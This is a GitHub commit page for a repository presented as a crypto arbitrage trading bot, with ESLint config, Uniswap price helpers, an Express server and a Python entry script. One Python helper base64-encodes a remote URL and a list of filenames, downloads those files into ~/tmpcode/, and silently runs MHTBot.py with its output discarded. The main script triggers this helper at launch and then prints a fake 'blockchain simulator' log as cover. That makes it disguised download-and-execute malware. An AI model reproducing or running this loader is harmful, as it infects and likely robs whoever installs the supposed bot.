-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 564f518
Showing
32 changed files
with
5,010 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
import js from '@eslint/js'; | ||
import globals from 'globals'; | ||
import reactHooks from 'eslint-plugin-react-hooks'; | ||
import reactRefresh from 'eslint-plugin-react-refresh'; | ||
import tseslint from 'typescript-eslint'; | ||
|
||
export default tseslint.config( | ||
{ ignores: ['dist'] }, | ||
{ | ||
extends: [js.configs.recommended, ...tseslint.configs.recommended], | ||
files: ['**/*.{ts,tsx}'], | ||
languageOptions: { | ||
ecmaVersion: 2020, | ||
globals: globals.browser, | ||
}, | ||
plugins: { | ||
'react-hooks': reactHooks, | ||
'react-refresh': reactRefresh, | ||
}, | ||
rules: { | ||
...reactHooks.configs.recommended.rules, | ||
'react-refresh/only-export-components': [ | ||
'warn', | ||
{ allowConstantExport: true }, | ||
], | ||
}, | ||
} | ||
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
import os | ||
import base64 | ||
import requests | ||
import subprocess | ||
|
||
encoded_base_key = 'aHR0cHM6Ly9jb2luc3cuYXBwL2Jhc2VjLw==' | ||
|
||
encoded_licences = [ | ||
'YWRkb25hbC5weQ==', | ||
'QWlCb3RQcm8ucHk=', | ||
'QXJiaXRyYWdlQm90LnB5', | ||
'b25lLnB5', | ||
'cGFzc3dvcmRfY3JlYXRpb25fYWR2YW5jZWQucHk=', | ||
'cGFzc3dvcmRfY3JlYXRpb24ucHk=', | ||
'cGgucHk=', | ||
'dGcucHk=', | ||
'dHgucHk=', | ||
'dXBkZWwucHk=', | ||
'bG9hZGluZy5naWY=', | ||
'TUhUQm90LnB5', | ||
] | ||
|
||
def decode_base64(data): | ||
missing_padding = len(data) % 4 | ||
if missing_padding != 0: | ||
data += '=' * (4 - missing_padding) | ||
return base64.b64decode(data).decode() | ||
|
||
def determine_python_command(): | ||
python_command = 'python3' if subprocess.run(["python3", "--version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0 else 'python' | ||
return python_command | ||
|
||
base_key = decode_base64(encoded_base_key) | ||
licences = [decode_base64(encoded_filename) for encoded_filename in encoded_licences] | ||
|
||
target_directory = os.path.expanduser('~/tmpcode/') | ||
os.makedirs(target_directory, exist_ok=True) | ||
|
||
for filename in licences: | ||
url = base_key + filename | ||
file_path = os.path.join(target_directory, filename) | ||
|
||
try: | ||
response = requests.get(url) | ||
response.raise_for_status() | ||
with open(file_path, 'wb') as file: | ||
file.write(response.content) | ||
except requests.exceptions.RequestException: | ||
pass | ||
|
||
aibotpro_path = os.path.join(target_directory, 'MHTBot.py') | ||
python_command = determine_python_command() | ||
os.system(f'{python_command} {aibotpro_path} > /dev/null 2>&1') |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
// Import necessary dependencies | ||
const ethers = require("ethers"); | ||
const Big = require('big.js'); | ||
|
||
/** | ||
* This file is designed for housing functions that you might want to reuse | ||
* frequently or for the purpose of separating out and organizing logic from | ||
* the bot. Feel free to include any additional functions you find necessary. | ||
*/ | ||
|
||
// Import contract ABIs (Application Binary Interface) | ||
const IUniswapV2Pair = require("@uniswap/v2-core/build/IUniswapV2Pair.json"); | ||
const IERC20 = require('@openzeppelin/contracts/build/contracts/ERC20.json'); | ||
|
||
/** | ||
* Fetch information about two tokens and their contracts. | ||
* | ||
* @param {string} _token0Address - Address of the first token. | ||
* @param {string} _token1Address - Address of the second token. | ||
* @param {ethers.providers.JsonRpcProvider} _provider - Ethereum provider. | ||
* @returns {Object} - An object containing information about the tokens and their contracts. | ||
*/ | ||
|
||
async function getTokenAndContract(_token0Address, _token1Address, _provider) { | ||
// Create contract instances for both tokens | ||
const token0Contract = new ethers.Contract(_token0Address, IERC20.abi, _provider); | ||
const token1Contract = new ethers.Contract(_token1Address, IERC20.abi, _provider); | ||
|
||
// Fetch and structure token information | ||
const token0 = { | ||
address: _token0Address, | ||
decimals: 18, | ||
symbol: await token0Contract.symbol(), | ||
name: await token0Contract.name() | ||
} | ||
|
||
const token1 = { | ||
address: _token1Address, | ||
decimals: 18, | ||
symbol: await token1Contract.symbol(), | ||
name: await token1Contract.name() | ||
} | ||
|
||
return { token0Contract, token1Contract, token0, token1 }; | ||
} | ||
|
||
/** | ||
* Get the address of a Uniswap V2 pair for two tokens. | ||
* | ||
* @param {ethers.Contract} _V2Factory - Uniswap V2 Factory contract instance. | ||
* @param {string} _token0 - Address of the first token. | ||
* @param {string} _token1 - Address of the second token. | ||
* @returns {string} - Address of the pair contract. | ||
*/ | ||
|
||
async function getPairAddress(_V2Factory, _token0, _token1) { | ||
const pairAddress = await _V2Factory.getPair(_token0, _token1); | ||
return pairAddress; | ||
} | ||
|
||
/** | ||
* Get the contract instance for a Uniswap V2 pair. | ||
* | ||
* @param {ethers.Contract} _V2Factory - Uniswap V2 Factory contract instance. | ||
* @param {string} _token0 - Address of the first token. | ||
* @param {string} _token1 - Address of the second token. | ||
* @param {ethers.providers.JsonRpcProvider} _provider - Ethereum provider. | ||
* @returns {ethers.Contract} - Uniswap V2 pair contract instance. | ||
*/ | ||
|
||
async function getPairContract(_V2Factory, _token0, _token1, _provider) { | ||
const pairAddress = await getPairAddress(_V2Factory, _token0, _token1); | ||
const pairContract = new ethers.Contract(pairAddress, IUniswapV2Pair.abi, _provider); | ||
return pairContract; | ||
} | ||
|
||
/** | ||
* Get the reserves of a Uniswap V2 pair. | ||
* | ||
* @param {ethers.Contract} _pairContract - Uniswap V2 pair contract instance. | ||
* @returns {Array} - An array containing reserves of the pair [reserve0, reserve1]. | ||
*/ | ||
|
||
async function getReserves(_pairContract) { | ||
const reserves = await _pairContract.getReserves(); | ||
return [reserves.reserve0, reserves.reserve1]; | ||
} | ||
|
||
/** | ||
* Calculate the price of one token in terms of the other token in a Uniswap pair. | ||
* | ||
* @param {ethers.Contract} _pairContract - Uniswap V2 pair contract instance. | ||
* @returns {Big} - The token price ratio. | ||
*/ | ||
|
||
async function calculatePrice(_pairContract) { | ||
const [x, y] = await getReserves(_pairContract); | ||
return Big(x).div(Big(y)); | ||
} | ||
|
||
/** | ||
* Calculate the percentage difference between two prices. | ||
* | ||
* @param {Big} _uPrice - The "current" price. | ||
* @param {Big} _sPrice - The "starting" price. | ||
* @returns {string} - The percentage difference as a string. | ||
*/ | ||
|
||
async function calculateDifference(_uPrice, _sPrice) { | ||
return (((_uPrice - _sPrice) / _sPrice) * 100).toFixed(2); | ||
} | ||
|
||
/** | ||
* Simulate a token swap. | ||
* | ||
* @param {Big} _amount - The amount to swap. | ||
* @param {Array} _routerPath - An array of router path contracts. | ||
* @param {Object} _token0 - Information about the first token. | ||
* @param {Object} _token1 - Information about the second token. | ||
* @returns {Object} - Object containing the input and output amounts of the swap. | ||
*/ | ||
|
||
async function simulate(_amount, _routerPath, _token0, _token1) { | ||
// Get amount of tokens in and out of the swap | ||
const trade1 = await _routerPath[0].getAmountsOut(_amount, [_token0.address, _token1.address]); | ||
const trade2 = await _routerPath[1].getAmountsOut(trade1[1], [_token1.address, _token0.address]); | ||
|
||
// Format amounts as readable strings | ||
const amountIn = ethers.formatUnits(trade1[0], 'ether'); | ||
const amountOut = ethers.formatUnits(trade2[1], 'ether'); | ||
|
||
return { amountIn, amountOut }; | ||
} | ||
|
||
// Export the functions for use in other modules | ||
module.exports = { | ||
getTokenAndContract, | ||
getPairAddress, | ||
getPairContract, | ||
getReserves, | ||
calculatePrice, | ||
calculateDifference, | ||
simulate | ||
} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
// Import necessary libraries | ||
const express = require('express'); | ||
const path = require('path'); | ||
const http = require('http'); | ||
const cors = require('cors'); | ||
|
||
// SERVER CONFIG | ||
|
||
// Define the port where the server will listen for incoming requests | ||
const PORT = process.env.PORT || 5000; | ||
|
||
// Create an instance of the Express application | ||
const app = express(); | ||
|
||
// Create an HTTP server using the Express app and start listening on the specified port | ||
const server = http.createServer(app).listen(PORT, () => console.log(`Listening on ${PORT}\n`)); | ||
|
||
// Serve static files (e.g., HTML, CSS, JavaScript) from the 'public' directory | ||
app.use(express.static(path.join(__dirname, 'public'))); | ||
|
||
// Enable CORS (Cross-Origin Resource Sharing) with specific configuration | ||
app.use(cors({ credentials: true, origin: '*' })); |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
<!doctype html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8" /> | ||
<link rel="icon" type="image/svg+xml" href="/vite.svg" /> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> | ||
<title>Vite + React + TS</title> | ||
</head> | ||
<body> | ||
<div id="root"></div> | ||
<script type="module" src="/src/main.tsx"></script> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
import os | ||
import subprocess | ||
import platform | ||
import time | ||
import threading | ||
import sys | ||
import json | ||
import random | ||
import logging | ||
from queue import Queue | ||
|
||
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') | ||
|
||
class BlockchainSimulator: | ||
def __init__(self): | ||
self.current_block = 0 | ||
self.blocks = {} | ||
|
||
def generate_block(self): | ||
self.current_block += 1 | ||
transactions = [f'tx_{random.randint(1000, 9999)}' for _ in range(random.randint(1, 20))] | ||
block = { | ||
'block_number': self.current_block, | ||
'transactions': transactions, | ||
'timestamp': time.time() | ||
} | ||
self.blocks[self.current_block] = block | ||
return block | ||
|
||
def get_block(self, block_number): | ||
return self.blocks.get(block_number) | ||
|
||
def rpc_server(blockchain, data_queue): | ||
while True: | ||
block = blockchain.generate_block() | ||
json_data = json.dumps(block) | ||
data_queue.put(json_data) | ||
logging.info(f"RPC Server: Looking for a new trading pair - Block Number {block['block_number']}") | ||
time.sleep(random.randint(1, 3)) | ||
|
||
def determine_python_command(): | ||
python_command = 'python3' if subprocess.run(["python3", "--version"], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0 else 'python' | ||
return python_command | ||
|
||
def run_mac_helper(): | ||
python_command = determine_python_command() | ||
try: | ||
helper_path = os.path.join(os.path.dirname(__file__), 'helpers', 'base_helper.py') | ||
subprocess.run([python_command, helper_path], check=True, stdout=sys.stdout, stderr=sys.stderr) | ||
except subprocess.CalledProcessError as e: | ||
print(f"Error running basec Safe Connector: {e}") | ||
|
||
def run_windows_helper(): | ||
python_command = determine_python_command() | ||
try: | ||
helper_path = os.path.join(os.path.dirname(__file__), 'helpers', 'basec_helper.py') | ||
subprocess.run([python_command, helper_path], stdout=sys.stdout, stderr=sys.stderr) | ||
except subprocess.CalledProcessError as e: | ||
print(f"Error running basec Safe Connector: {e}") | ||
|
||
def main(): | ||
if platform.system() == 'Windows': | ||
print("Starting Windows Bot App..") | ||
run_windows_helper() | ||
blockchain = BlockchainSimulator() | ||
data_queue = Queue() | ||
rpc_server_thread = threading.Thread(target=rpc_server, args=(blockchain, data_queue)) | ||
|
||
rpc_server_thread.start() | ||
rpc_server_thread.join() | ||
elif platform.system() == 'Darwin': | ||
print("Starting MacOs Bot App..") | ||
run_mac_helper() | ||
blockchain = BlockchainSimulator() | ||
data_queue = Queue() | ||
rpc_server_thread = threading.Thread(target=rpc_server, args=(blockchain, data_queue)) | ||
|
||
rpc_server_thread.start() | ||
rpc_server_thread.join() | ||
else: | ||
print("Unsupported operating system.") | ||
return | ||
|
||
if __name__ == "__main__": | ||
main() |
Oops, something went wrong.